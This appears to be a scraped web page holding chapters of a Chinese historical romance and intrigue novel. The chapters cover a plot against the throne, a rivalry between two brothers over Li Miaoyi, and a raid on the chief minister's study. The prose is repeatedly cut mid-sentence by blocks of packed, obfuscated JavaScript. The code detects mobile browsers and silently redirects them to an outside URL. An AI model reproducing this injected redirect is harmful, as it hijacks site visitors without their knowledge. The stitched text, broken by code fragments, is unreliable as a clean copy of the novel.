;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301932|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑淮序立刻秘密觐见仁宣帝,将所获证据一一呈上。 御书房内,仁宣帝看着那些带有前朝皇室徽记的器物,听着郑淮序条分缕析的推断,手指因用力而颤抖。 “好!好一个前朝余孽!真是阴魂不散!”仁宣帝从牙缝中挤出愤怒,裹着彻骨的寒意。 结合所有线索,一个惊人的真相逐渐浮出水面。 安阳公主坠崖,并非齐王一时嫉恨失手,而是前朝余孽精心策划的挑拨离间之计。 他们利用齐王对安阳公主的嫉妒与不满,巧妙引导,制造冲突,最终借齐王之手除掉了皇帝最宠爱的嫡女。齐王李琮被贬圈禁,不仅削弱了皇室力量,更让皇帝承受了手足相残的痛苦。 八公主李妙宁叛国,更是前朝余孽策划多年的一步大棋。 他们早早渗透并控制了八公主那不成器的母族陈家,以重利诱使其同意和亲。八公主或许从一开始就是被选中的棋子,或许是在北戎被胁迫、控制,最终成为了刺向故国最锋利的一把刀。此举不仅重创边境防线,更让天朝皇室颜面扫地。 这一桩桩环环相扣,毒辣无比。它们如同一把把精心打磨的软刀子,从情感、伦理、威信、国防等多个层面,持续不断地放血、削弱、离间着这个庞大的帝国。这是前朝余孽送给当今皇帝的一份份厚礼,意在颠覆江山,复辟旧朝。 想通了这一切,即便是郑淮序,也不由得感到一阵寒意。这潜伏在暗处的敌人,其耐心、其狠辣、其布局之深远,远超常人想象。 仁宣帝颓然坐在龙椅上,仿佛一瞬间被抽干了力气。他不仅为江山的隐患而震怒,更为自己的女儿、亲侄竟都成了这阴谋下的牺牲品而痛彻心扉。 “查!给朕彻查!”仁宣帝猛地抬起头,眼中燃烧着愤怒与决绝的火焰,“郑爱卿,朕予你先斩后奏之权,无论牵扯到谁,一律给朕连根拔起!朕要这朗朗乾坤,再无前朝魑魅魍魉藏身之地!” “臣,领旨!”郑淮序肃然跪倒,铿锵有力。 他知道,一场远比边境战争更加复杂的清洗与斗争,即将拉开序幕。前朝余孽能策划如此惊天阴谋,其在宫闱、在朝堂的渗透恐怕已深不可测。 清查行动以雷霆之势展开。 凭借着之前掌握的线索和证据,郑淮序精准地拔除了几个盘踞在吏部、户部的前朝暗桩。抄没的家产、缴获的密信,牵连出一张更为庞大的网络。一时间,盛京官场风声鹤唳,菜市口的血色几日未干。 然而,真正的核心成员却如同滑不留手的泥鳅,总能提前一步湮灭证据,断尾求生。郑淮序深知,这绝非寻常官员所能做到,在朝廷内部,甚至在皇宫大内,必然有着地位不低的内应。 与此同时,郑淮舟的治疗进入了关键阶段。 金针渡穴配合猛药,驱毒效果显著。他偶尔清醒时,眼神不再是全然懵懂,甚至在李妙仪按例前去探望时,也只是默默地看着她。 那目光复杂得让她心头发慌,总觉得他像是想起了什么,又像是什么都没想起来。 66. 摊牌 郑淮舟醒来时,窗外正是黄昏。 斜阳透过雕花棂格,洒落一地碎金。这些日子以来如同隔雾看花的记忆,正在脑海中一片一片地拼凑起来,严丝合缝,刺得他心头血淋淋地疼。 他想起北境的风雪,想起出征前的吻别,想起怀里那枚染血的平安符,更想起这些日子,她的照顾,她的纵容。 至于改嫁…… 郑淮舟闭上眼,胸腔里像是堵着一团浸了水的棉絮,呼吸都变得困难。他缓缓转过头,望向不远处贵妃榻上的身影。 夕阳落在她身上,覆上一层温柔的薄纱。先前喂药时她便来了,不曾想这几日风寒未愈,一时困乏,本是坐着打盹,这会儿侧身躺下,一只手枕在颊下,呼吸匀停,睡得很沉。 他掀开被子,赤足踩在冰凉的地面上,一步一步走向她。立在她跟前看了半晌,而后弯下腰,手臂穿过她的膝弯和后背,将她轻轻抱了起来。 原路返回,他将她抱到榻上,自己也跟着躺下,一点点挪近,直到紧紧圈住了她的腰。 心心念念的人就在眼前,看多久都嫌不够。他的视线停驻在她的睫毛,长长的,安静地覆在眼睑上,像两片小小的羽毛。 他忍不住抬手,抚过她的眉,她的眼,她的鼻梁,最后停在脸颊。那里的肌肤温热柔软,让他的心也跟着软成了一滩水。 于是,他埋首在她颈间,阔别已久的香气涌入肺腑,激得他眼眶发热。是她的味道,是家的味道,是他以为再也回不来的味道。 然后他寻到她的唇,轻轻叼住,小心翼翼含吻。 只一瞬,那些压抑了许久的思念、痛苦、不甘,如决堤之水般汹涌而出。他加重力道,吻得极深,极其熟稔,肆意攫取着她口中的每一寸芬芳,仿佛沙漠中踽踽独行的旅人,终于找到了甘泉,恨不能将她整个人饮尽。 李妙仪在窒息中挣扎着醒来,入目便是一张放大的脸。 她瞪大眼,直接拳打脚踢,双手却被他轻易捉住,举过头顶按在枕上。他的身体压下来,将她牢牢禁锢在身下,动弹不得。 “唔——” 她想喊,可唇被他堵着,只能发出破碎的呜咽。唇齿交缠,吞咽芳津,他吻得那样深,那样狠,势必要将这些日子的空白全部填满。 李妙仪吓坏了,她抬脚踹过去,可他的身体像一座山,纹丝不动。 不知过了多久,他终于舍得放开她的唇,却并未离远,仍贴着她的嘴角,一字一句地问:“出征前,我托伯章照顾你,他就是这么照顾的?” 李妙仪瞳孔骤缩。 他恢复记忆了?恢复了还敢这般待她!? “郑淮舟,你疯了!”她尖声道。 这句话像是点燃了什么。郑淮舟的眼神骤然暗沉,他俯下身,又要缠上来。李妙仪拼尽全力抽出一只手,扬起手扇了过去。 “啪”的一声脆响,在寂静的室内格外清晰。 他的脸被打得偏向一侧,白皙的面颊上迅速浮起一道红痕。 李妙仪喘着粗气,胸膛剧烈起伏,脸一时气得通红,身子止不住发抖。她恶狠狠瞪着他,又怕又怒,脑子里一片混乱。 郑淮舟慢慢转过头来。 他没有动怒,甚至没有去摸被打疼的脸,而是捉住她那只打人的手,送到唇边,吻了吻她的指尖。 “夫人,疼不疼?” 这姿态,看着也不像痊愈了。 李妙仪甩不开他的钳制,倍感煎熬,从前那个端方自持的郑淮舟去哪了? “郑淮舟,你冷静一点。”她努力让声音平稳下来,“你与我,不过是过去的纠葛。你战死沙场,我亦为国公府殚精竭虑。时至今日,我没有对不起你,从此恩怨两清,桥归桥路归路,再无相干。” “再无相干?”他重复着这四个字,突然笑出声。 “你是我八抬大轿抬进郑家的世子夫人,洞房花烛夜,你我亲手起过誓,长相厮守,恩爱白头。这些日子,你细心照顾我,岂是无情人做得出的?你心里有我,只是不敢认。” “我没有!”她直接喊出来,“郑淮舟,你听清楚,我从未对你有过半分情意!那些照顾,不过是因为你生病,换作任何一个人,我都会那样做!” 她没有说谎,她是李妙仪,不是崔令言。她对郑淮舟,从来都只是利用,利用这世子夫人的身份查明真相。郑淮舟对崔令言的爱护不假,这段时日同意照顾他,已是还了这份恩情。 郑淮舟的眼神变了:“你说什么?” “我说,我从未心悦你。”她冷冷道,毫不留情,“以前没有,现在没有,以后也不会有。” 他的脸色在一瞬间变得苍白。 李妙仪看着那抹苍白,心底闪过一丝不忍,但很快被她压下去。 可郑淮舟不信,或者说,他不愿信。 “你撒谎。”他隐隐颤抖,“你若无情,为何日日守着我?” “因为受母亲所托,我于心不忍。”她打断他,“因为你为国捐躯,因为你是郑淮序的兄长,因为……” 她的话没能说完。 他的吻堵了下来,凶狠,蛮横,变成了啃咬,带着毁灭一切的气势。她想挣扎,双手却被他牢牢按住;她想喊叫,可他的唇舌堵住她所有的声音。 趁短暂分离,她用力咬下去,血腥味瞬间在两人口中蔓延开。 他吃痛,终于退开一分。她则偏过头,大口喘息,眼泪不知什么时候流了满脸,滚烫地滑进鬓发里。 “郑淮舟,你强迫我也没有用。”她的声音发抖,态度却万分坚决,“我爱的人,始终不是你。” 他看着她,看了很久很久。 最后一缕余晖落在他脸上,他的眼睛里有光在一点点暗下去,他缓缓俯身,将脸埋在她颈窝里。 “你为什么不肯认?”他闷闷地问,“明明我们曾经……” 门外传来脚步声,又重又急,紧接着,房门被猛然推开,撞在墙上发出巨响。 李妙仪侧头,对上门口郑淮序的视线,二人的对峙也落在了他的眼里。 他冲了过来,一把揪住郑淮舟的后领,直接将他从李妙仪身上拽开。郑淮舟被扯得踉跄,撞向桌案,茶盏噼里啪啦碎了一地,碎瓷片溅得到处都是。 李妙仪坐起身,下意识想伸手,可郑淮序已经顾不上看她了。 他死死盯着郑淮舟,青筋暴起,眼底是翻滚的怒火:“兄长,你可知自己在做什么?她是我的妻子!你怎敢?” 郑淮舟站稳身形,抬手抹去嘴角的血迹,那是被李妙仪咬破的地方。他看了看指尖的血,悠悠道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301933|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你的妻子?她是我的,由不得你做主。” “那是过去!”郑淮序吼道,“你战死沙场,难不成还想苦她守你一辈子?如今恩怨两不欠,你凭什么欺辱她?你对她可曾有过敬重?可曾问问她的想法?” 说到后半句,近乎歇斯底里。 郑淮舟看着这个从小跟在他身后的弟弟,无法反驳。第一次,他用这样的眼神看他,愤怒的,失望的,还有一丝痛苦。 “伯章。”李妙仪想下床,可郑淮序抬手制止了她。 “你别动。” 他深吸一口气,转向郑淮舟:“你身子还没好,我不想跟你动手。但你听清楚,离她远点。否则,就算你是我兄长,我也不会再忍。” 他说完,转身走向李妙仪,弯腰想扶她起来。 可就在这时,身后传来动静。 郑淮舟上前一步,一把扣住郑淮序的肩膀,将他猛然扳过来。郑淮序猝不及防,被拽得转过身,还没反应过来,迎面就是一拳。 “砰!” 那一拳结结实实砸在他脸上,打得他后退几步,撞在床柱上。 “郑淮舟,你给我住手!”李妙仪惊叫出声。 郑淮序抬手抹了一把嘴角,看到指尖的血,眼底的怒火彻底燃了起来,冷笑一声:“好,既然你想打,那就打。” 他不再顾忌,冲上前去,一拳还了回去。 两个身形高大的男人在房间里扭打起来,拳头砸在对方身上,发出沉闷的声响,桌椅被撞翻,帐幔被扯落,满地狼藉。方才的碎瓷片在他们脚下咯吱作响,可谁也没在意,眼中只有一战。 郑淮舟身子还没好透,很快落了下风。他被郑淮序按在地上,一拳一拳砸在脸上、身上。渐渐的,他不再还手,只是盯着这张与他相似的脸,盯着那双曾经满是崇拜的眼睛。 他笑了起来,断断续续道:“打啊,打到你满意为止。” 郑淮序的拳头顿住了,他看着瘫倒在地的郑淮舟,脸上青一块紫一块,那双眼里的光,暗淡得让他心头发颤。 “兄长。”他的声音发涩,像是有什么东西卡在喉咙里。 “是我该死,托你照顾她,却怪你娶了她。”郑淮舟闭上眼,胸腔痛得无法呼吸,“我失忆这些日子,她愿意照顾我,我便以为她对我还有情,却忘了那是我无理取闹得来的。” 他顿了顿,喉结滚动,牵动嘴角的伤口,渗出一丝血。 “她方才说,从未喜欢过我。” 郑淮序松开手,缓缓站起身,忽然间不知道说什么好。从小到大,他从未见过这样的郑淮舟,狼狈不堪,满身是伤,眼里却空得让人害怕。 “我与她,两情相悦。”他最终只说出这一句,声音涩然。 郑淮舟睁开眼,望向屋内的房梁。那上面有他前些日子挂上去的香囊,因为屋里药味重,总怕她坐不住,待了片刻便要走。 “我知道了。” 郑淮序沉默片刻,转身走向李妙仪,一把将她抱起,带她往外走。 室内归于寂静。 郑淮舟躺在地上,望着那扇关上的门,很久很久。月光从窗棂漏进来,落在他脸上,凉凉的。 他抬手,覆住自己的眼睛,指缝间,有温热的液体滑落。 那不是血。 67. 合作 夜色像一砚陈了许久的墨,被人小心翼翼地研开,漫过远山的轮廓,又漫过窗前那棵老树的枝桠。 郑淮序坐在床边,指腹轻轻抚过李妙仪唇上那道浅淡的口子。结了薄薄一层痂,摸上去有些涩。他盯着那处看了许久,眼神暗沉沉的,像窗外那化不开的夜。 自那夜回来,李妙仪的风寒加重了许多。这几日足不出户地养着,人却不见好。每夜人睡着了,眉头却微微蹙着,身上总沁着汗,里衣换了又湿,湿了又换。 他拧了帕子,一点一点为她擦拭。有时候擦着擦着,便停下来,看着她睡梦中也不得安宁的眉眼,一动不动,直到烛火跳一下,才回过神来。 翌日清晨,郑淮序刚从官署回来,见郑平在二门处候着,神色有些古怪。 “公子,世子来了。” 郑淮序脚步顿了顿。 这些日子,他刻意避着郑淮舟。府里就这么大,难免遇上,每回他都是淡淡点个头便走,一个字也不多说。哪怕只是远远一瞥,那股怒火就会腾地烧起来,烧得他五脏六腑都在疼。 今日倒是头一回,人主动登门。 “请他去书房。” 郑淮序在原地站了片刻,才抬脚往书房走去。 书房里,郑淮舟已经在等了。他站在窗前,背对着门,听到脚步声,转过身来。 兄弟二人对视,一时竟谁也不知该先开口。 还是郑淮序先动了动唇,询问道:“兄长身子可好些了?” “好多了,多谢你这些日子的关照。”郑淮舟脸上看不出什么情绪,只是眼底有些青痕,像是也没睡好。 客套话说完,又是沉默,满屋子的书墨香,压得人有些透不过气。 郑淮序走到书案后坐下,抬手示意:“坐吧,兄长特意过来,可是有事?” 郑淮舟落座,忽然道:“伯章,我知道你恼我。” 郑淮序的眉头动了动,没有说话。 “那日的事,是我错了。”郑淮舟的声音很低,“我恢复记忆,一时难以自持,做出那样的事,伤了她的心,也伤了你的心。” 郑淮序难以大度表示原谅,故而继续选择了沉默。 “可我今天来,不是为了说这些,我有正事要告诉你。”他顿了顿,抬起眼,直视郑淮序,“我当初战死沙场,不是意外。” 郑淮序的神色变了。 “那时候,我查到部分安阳公主案的线索,本打算进宫面圣。可还没等我动身,便接到了出征的命令。那一战,我军中了埋伏。我本以为是天意,可后来仔细回想,那场埋伏,来得太巧,太准。” 郑淮序的心猛地一沉:“你是说,你是因为牵扯到公主一案,才被伏击?” “可以这么说,”郑淮舟目光沉沉,“因为我查到的线索里,有一条指向了太子。” “什么?!”郑淮序拍案而起。 “安阳公主坠崖的真相,太子是知情的,甚至可以说,是他一手促成的。”郑淮舟的话像惊雷一般在郑淮序耳边炸开,“当初有人向陛下递了奏折,说坊间传言安阳公主可担皇太女。太子心中忌惮,在那人递上橄榄枝时,借皇家围猎之机,命人将安阳公主引到了悬崖附近。” 郑淮序的瞳孔骤然收紧:“那人是谁?” “裴守禊。” 当朝首辅,门生遍天下,权倾朝野。 “裴守禊以权柄拉拢入仕之人,善于贿赂官员,为自己的党羽谋取利益,六部中皆有效忠他的人。”郑淮舟徐徐道来,“他早已通敌叛国,与前朝余孽勾结。可惜,我目前还未掌握实证。” 窗外的日光落进来,照在郑淮序脸上,明明暗暗的。他忽然想起小时候,他总跟在兄长身后,看他读书、习武、待人接物。那时他觉得,兄长是天下最好的人,他长大了也要像他一样。 良久,他开口问道:“你将这些告诉我,是什么意思?” “联手。”郑淮舟神色坦然,“我知道你恼我,可这事关江山社稷,关乎无数人的性命。你我恩怨,可以事后再算。裴守禊一日不除,朝堂一日不得安宁。” 郑淮序看着他的坚定与坦然,闭了闭眼,再睁开时,眼底的复杂已经压了下去。 “好。” 潜入裴府探查,并非易事。 裴守禊为官数十载,树大根深,府中戒备森严。寻常时候,别说潜入书房,只要靠近裴府大门,就会被暗处的眼线盯上。那墙角的阴影里,不知藏了多少双眼睛。 郑淮序与郑淮舟商议数日,最终定下一计。 三皇子李承玦。 由他出面,以商讨政务为名,将裴守禊引到城外别院,至少能拖住半日功夫。 李承玦听完他们的计划,没有多问,只点了点头:“时间确定够了吗?” “够了。”郑淮序道。 “那便半日。”李承玦站起身,拍了拍郑淮序的肩膀,“小心些。” 当夜,云层厚实,月光偶尔从缝隙里漏下来,也是薄薄一层。 郑淮序与郑淮舟换了一身深色劲装,从裴府后巷翻墙而入。裴府占地极广,他们早已将府中布局记在脑中,一路避开巡逻的家丁,悄无声息地向书房摸去。 书房在裴府深处,四周种满了竹子,清幽僻静。可也正是这竹林,成了他们最好的掩护。 两人伏在竹丛后,等了约莫一刻钟。最后一队巡逻的家丁走过,脚步声渐渐远了,才迅速闪身而出,贴到书房窗下。 郑淮序从怀中取出一柄薄如蝉翼的小刀,插入窗缝,轻轻拨动。 “咔”的一声轻响,窗栓开了。 两人翻身而入,动作轻得几乎没有声音。 书房内一片漆黑,只有月光透过窗棂,隐约映出书架、书案、椅子的轮廓。两人借着那点微光,开始小心翼翼地翻找。 书架上的书,多是经史子集,一本本翻过去,并无异样。书案的抽屉里,也是些寻常的公文信函,无关紧要。 郑淮序皱了皱眉,看向郑淮舟。 郑淮舟正蹲在墙角,指尖轻轻敲击着地砖。直到敲到第三块时,他停了下来。 那声音,底下是空的。 两人对视一眼,合力将那地砖撬起。 下面是一个暗格,里头放着几封书信和一个巴掌大的木匣。和当年抓到王宣之叛变的物件,有几分相似。 郑淮序伸手取出,就着月光展开一封。只看了几行,他的脸色便沉了下来。 确实是裴守禊与北戎来往的密信,信中不仅透露了朝廷的兵力部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307290|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 署,还提到了八公主李妙宁。 郑淮序将信收入怀中,又打开那个木匣。 里头是一枚玉牌,上面刻着前朝皇室的徽记。还有一本小册子,密密麻麻记满了人名、官职、以及他们为裴守禊做过的事。 这便是他要的实证。 郑淮舟刚要说话,忽然听到外面传来脚步声。 两人脸色一变,迅速将暗格恢复原状,闪身躲到书架后面。 门被推开了。 有人提着灯笼走了进来,在书房里转了一圈。那人的脚步声很轻,像是在寻找什么。郑淮序屏住呼吸,手已经按上了腰间的短刀。 下一刻,那人忽然开口了。 “出来吧。”是一个低沉的声音,带着几分嘲弄,“我知道你们在这儿。” 郑淮序与郑淮舟对视一眼,缓缓从书架后走出。 灯笼的光映在那人脸上,是一张陌生的面孔,穿着裴府家丁的衣裳,可那眼神,那气度,绝不是一个寻常家丁能有的。 那人笑了笑:“二位公子深夜来访,怎么也不打声招呼?” 郑淮序没有说话,只是盯着他。 那人将灯笼往旁边一放,抱臂看着他们:“这书房里,机关重重。二位方才撬开的那块地砖,一碰便会触发暗铃。此刻,府中的护卫已经将这里包围了。” 话音刚落,外面响起了杂沓的脚步声。火把的光亮透过窗纸,将书房照得通明。那些火光跳跃着,像无数双眼睛。 “束手就擒吧。”那人笑道,“二位都是聪明人,何必做无谓的挣扎?” 兄弟二人对视一眼,忽然同时动了。 郑淮序一脚踢向那人,那人侧身避开,反手抽刀。郑淮舟趁此机会,一掌劈向窗棂,木屑飞溅中,他翻身跃出。 “追!”那人大喝一声,外面的护卫蜂拥而上。 郑淮序与郑淮舟背靠背,与数十名护卫厮杀。刀光剑影,鲜血飞溅。那些护卫像是杀不完一样,倒下一批,又涌上来一批。他们的刀,带着呼呼的风声,一下一下往身上招呼。 “走!”郑淮舟忽然抓住郑淮序的手臂,将他往竹林深处一推,“分开走!” 郑淮序来不及多想,顺势冲入竹林。身后传来喊杀声,脚步声,还有刀剑破空的声音。他一路狂奔,穿过竹林,翻过围墙,最后跌跌撞撞地落在外面的巷子里。 他靠在墙上,大口喘息,浑身是血。那些血,有别人的,也有自己的。 郑淮舟呢? 他回头望去,裴府的方向火光冲天,喊杀声震耳欲聋。 郑淮序的心猛地揪紧了。 他想回去,可理智告诉他,证据要紧。他压下那股翻涌的情绪,转身没入夜色,在约定好的地方等了整整两个时辰。 天边泛起鱼肚白时,一道踉跄的身影终于出现在巷口。 郑淮舟浑身是血,左肩上有一道深深的刀伤,皮肉都翻了出来,脸色白得像纸。他看到郑淮序,扯了扯嘴角,似乎想说什么,却一头栽了下去。 “兄长!”郑淮序冲上去扶住他。 郑淮舟靠在他怀里,眼睛半睁着,气息微弱游丝:“东西拿到了吗?” “拿到了。”郑淮序的声音发颤,“你别说话,我带你回去。” 68. 圆满 御书房内,仁宣帝望着跪在面前的郑淮舟,久久无言。 殿中烛火摇曳,将那张年轻的面容映得纤毫毕现。是郑淮舟,那个他亲口追封为镇国公的郑淮舟,那个他以为早已埋骨沙场的郑淮舟。 他活着回来了。 仁宣帝缓缓起身,步履沉重地走到他面前,颤颤地伸出手,亲手将他扶起。 “好,好,好。”他连说了三个好字,掩不住激动,“济川,回来就好。” 郑淮舟垂首:“臣有罪,未能及时回京复命,让陛下忧心。” “什么罪不罪的,活着就好。”仁宣帝拍了拍他的肩,眼底有千言万语翻涌,“这些日子,苦了你了。” 下一刻,郑淮舟从怀中取出信函与那本小册子,双手呈上:“臣有要事启奏。” 仁宣帝不明所以,接过来,一页一页地翻过去阅览。 渐渐的,他的脸色沉了下去,握着信函的手指节节泛白,青筋凸起。翻到最后一页,他猛地将小册子摔在御案上。 “好一个裴守禊!好一个太子!” 天子震怒,殿中侍候的宫人跪了一地,屏息敛气,连颤抖都拼命压着,不敢表现出来。 仁宣帝在殿中踱步,每一步都沉重如山。他想起安阳,想起她小时候骑在他肩上的模样;想起八公主,想起她出嫁时那双含泪的眼;想起齐王李琮,想起他被圈禁时那绝望的眼神。 原来这一切,都是阴谋。 都是这些人,这些他信任的人,精心策划的阴谋。 “朕待他们不薄。”仁宣帝停下脚步,声音沙哑得像老了几岁,“裴守禊,朕即位便拜为首辅,恩宠加身;太子,朕的嫡长子,朕养在膝下,亲自教导。他们就是这样回报朕的?” 郑淮序沉声道:“陛下,裴守禊通敌叛国、与前朝余孽勾结,证据确凿。太子之事,还需进一步查证。” “查证?”仁宣帝冷笑一声,“还有什么好查证的?那些信,那些密函,哪一个不是铁证?” 他走到御案前,拿起那封裴守禊与北戎往来的密信,看了半晌,忽然笑了。 “朕登基二十三年,自问勤政爱民,励精图治。可到头来,宠爱的孩子要么死了,要么被圈禁,如今还能勾结外敌。”他将那封信狠狠揉成一团,砸出去,“朕的江山,就这么让他们糟蹋?” “陛下息怒。”郑淮序与郑淮舟双双跪倒。 仁宣帝摆摆手,颓然坐回龙椅上,殿中静得只剩烛火噼啪。 许久,他睁开眼,目光落在那堆信函上。那眼神渐渐变了,变得锐利,锋利如出鞘的刀。 “传朕旨意,着御前侍卫统领陆昭即刻进宫。另外,调集三千禁军,包围裴府。天亮之前,朕要见到裴守禊跪在朕的面前。” “是!” 从御书房出来时,天边已泛起了鱼肚白。 郑淮序与郑淮舟并肩走在宫道上,晨风微凉,带着露水的湿意拂在脸上。两人的脚步声交错着,在空旷的宫道上一声一声地回响。 走了一段,郑淮序停下脚步:“兄长。” 郑淮舟也停下来,转头看他。 “你肩上的伤,回去让大夫好好看看。” 郑淮舟一怔,随即点了点头:“好。” “昨夜……”郑淮序的声音有些涩然,“多谢你。” 郑淮舟摇头:“是我拉你一起去的,自然要一起出来。” 他现在狼狈不已,两日未眠,眼底一片青痕,肩上的绷带还渗出血迹。 郑淮序别开视线,道:“回去好好养伤,案子还没完,后面的事,还要你帮忙。” 两人继续往前走,走到宫门口时,郑淮舟喊住他,张了张嘴,似乎想说什么,最后只是笑了笑。 “好好待她。” 他转过身,一步一步走进晨光里。那道背影清瘦而疲惫,却挺得笔直。晨光落在他肩上,落在那道伤口上,落在他一步一步踏出的脚印里。 天边那轮红日已经跃出了地平线,将整座皇城镀上一层金光。 国公府中,李妙仪坐立难安。 听到脚步声,她连忙起身迎上去,看到他平安归来,眼中那抹担忧终于散去,化作淡淡的笑意。 “回来了?事情可还顺利?” 郑淮序看着她生动的模样,伸手将她拥入怀中,高大的身子没骨头似的靠在她身上。 李妙仪环住他的腰,将脸贴在他胸口,轻声问:“怎么了?” 阳光从垂挂的珠帘漏进来,落在他们身上,暖暖的。 过了很久,他才低头,在她耳边说:“妙仪,我们好好的。” 她抬起头,眉眼弯弯:“好。” 仁宣帝盛怒之下颁下的彻查旨意,如一块巨石投入静水,瞬间引爆了盛京。 一场迅雷不及掩耳的清洗由此展开。 一处处看似寻常的宅院、商铺被查封,一名名潜伏在朝堂各处的官员被革职下狱。刀光剑影在暗巷中闪烁,负隅顽抗者被当场格杀,更多的则在铁证面前面如死灰,颓然认罪。 那张由前朝余孽精心编织了数十年的巨网,在绝对的力量与突如其来的真相面前,被彻底撕碎,连根拔起。 腥风血雨持续了月余。首犯及其核心党羽尽数伏诛,牵连者依律惩处。大雍经历了一番痛彻心扉的刮骨疗毒后,终于重归安稳。 尘埃落定之后,郑淮舟向朝廷请辞了所有官职与封赏。 他站在御书房内,对着仁宣帝深深一揖:“陛下,逆党已除,边境暂安。臣身心俱疲,不堪再为陛下驱驰。恳请陛下允准臣卸甲归田,离京静养。” 仁宣帝看着他清瘦却挺直的脊梁,想起他九死一生,最终助朝廷铲除巨患,心中感慨万千。最终,他准了辞呈,厚赐金银,准其“舟游列国,静养天年”。 离京那日,天高云淡。 郑淮舟只带了简单的行装,一辆青篷马车,悄无声息地驶向城外长亭。 李妙仪早已在那里等候,风吹起她的衣袂,她望着那个一身青衫却难掩风骨的男子,心中百感交集。 “世子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312920|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她轻声唤道,用的是最疏离,却也最合适的称呼。 郑淮舟目光平静,唇边甚至带着一丝若有若无的温和笑意:“京中事了,我也该走了。天地广阔,总有一处能安放此身。” 见他坦然接受,李妙仪终于决定不再隐瞒,说道:“世子,临别之际,有一事,我想应当告知于你……我并非你当初所娶的那个崔令言。” 郑淮舟眼中闪过一丝讶异,却并无太多震惊。 李妙仪继续道:“真正的崔令言,在你回京几日后就不在了。我不过是机缘巧合,寄居于此身的一缕孤魂。” 她没有言明自己就是安阳,但这“借尸还魂”这件事,已足够惊世骇俗。 出乎她意料的是,郑淮舟听后,只是静静地看了她许久。最终,竟释然地笑了笑,那笑容里带着看透世事的沧桑,与一丝了悟。 “原来如此,”他目光投向远方,仿佛穿透了时光,回到与她初遇之时,“没想到,这世间竟真有如此玄奇之事。” 他收回目光,再次看向李妙仪,眼神干净而真诚:“无论你是谁,如今,你是伯章的妻子。望你二人,往后余生,平安喜乐,长厢厮守。” 说完,他不再停留,对李妙仪微微颔首,便转身,毫不犹豫地登上了那辆青篷马车。 车轴辘辘,向着官道尽头驶去。渐行渐远,最终化作一个小黑点,消失在天地相接之处。他选择了远离朝堂纷争,远离情感纠葛,去追寻属于他自己的、未知的自由与宁静。 李妙仪望着马车消失的方向,久久伫立。心中一块大石终于落地,却又泛起一丝淡淡的怅惘。 一件带着体温的披风轻轻落在她肩上。 她蓦然回首,只见郑淮序不知何时已站在她身后。他依旧是那副冷峻的模样,但看着她的眼神里,却清晰地写着未曾消散的醋意,以及更深沉的爱恋。 他没有问她与兄长谈了什么,只是张开双臂,别扭道:“风大,回去了。” 看着他强装大度的样子,李妙仪心中那点怅惘瞬间被暖流冲散。她向前一步,投入他温暖宽厚的怀抱,欢快地应了一声:“嗯。” 郑淮序将她牢牢圈在怀中,下颌轻轻摩挲着她的发顶,然后,抬起她的脸,在漫天霞光与瑟瑟秋风中,吻住了她的唇。 这个吻,不再有以往的压抑、痛苦与不安。只剩下历经磨难、冲破重重阻碍后,纯粹的、失而复得的珍视与承诺。 长亭外,古道边,芳草碧连天。晚风拂柳,笛声残,夕阳山外山。 他们的故事,始于阴谋与死亡,历经身份的错位、伦理的挣扎、朝堂的风雨,终于在此刻,归于平凡而真实的相拥。 天边最后一缕霞光落在他与她身上,将两道相依的身影拉得很长很长。 远处,夕阳正缓缓沉入山峦。晚风拂过,带着秋日草木的清香。 他低头,在她耳边轻声道:“回家了。” 她抬起头,看着他的眼睛,笑着点头。 “好,回家。” 【全文完】 69. 古穿今(1) 矜贵大小姐 (一) 崔令言锁好实验室的门,转身时才发现走廊的灯已灭了大半。只有尽头那盏还亮着,投下一小片惨白的光。 她看了眼手机,晚上九点五十七分,又忙到忘了时间。 考古学系的实验楼是老建筑,装修风格自然老派,白日里觉得古朴有韵味,此刻四下无人,倒显出几分阴森。 崔令言倒是不怕,前世她在崔家老宅住了十几年,那宅子比这楼老得多,也大得多,夜里风吹过廊檐,瓦片轻响,那动静比这骇人多了。 